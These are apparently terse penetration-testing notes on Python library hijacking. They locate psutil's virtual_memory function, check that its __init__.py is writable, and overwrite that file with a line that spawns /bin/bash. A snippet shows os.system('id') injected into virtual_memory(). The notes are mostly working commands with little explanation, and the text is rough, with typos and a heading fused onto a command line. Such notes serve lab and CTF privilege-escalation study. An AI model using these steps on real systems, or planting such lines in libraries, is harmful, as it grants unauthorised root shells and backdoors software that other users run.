Python library hijacking
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
# we choose pustil becuse we imported this library on the script
# then discover any file have a writeble permission
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
#then
echo "import os;os.system('/bin/bash')" > /usr/local/lib/python3.8/dist-packages/psutil/__init__.pyWrong Write Permissions
...SNIP...
def virtual_memory():
...SNIP...
#### Hijacking
**import os
os.system('id')**
global _TOTAL_PHYMEM
ret = _psplatform.virtual_memory()
# cached for later use in Process.memory_percent()
_TOTAL_PHYMEM = ret.total
return ret
...SNIP...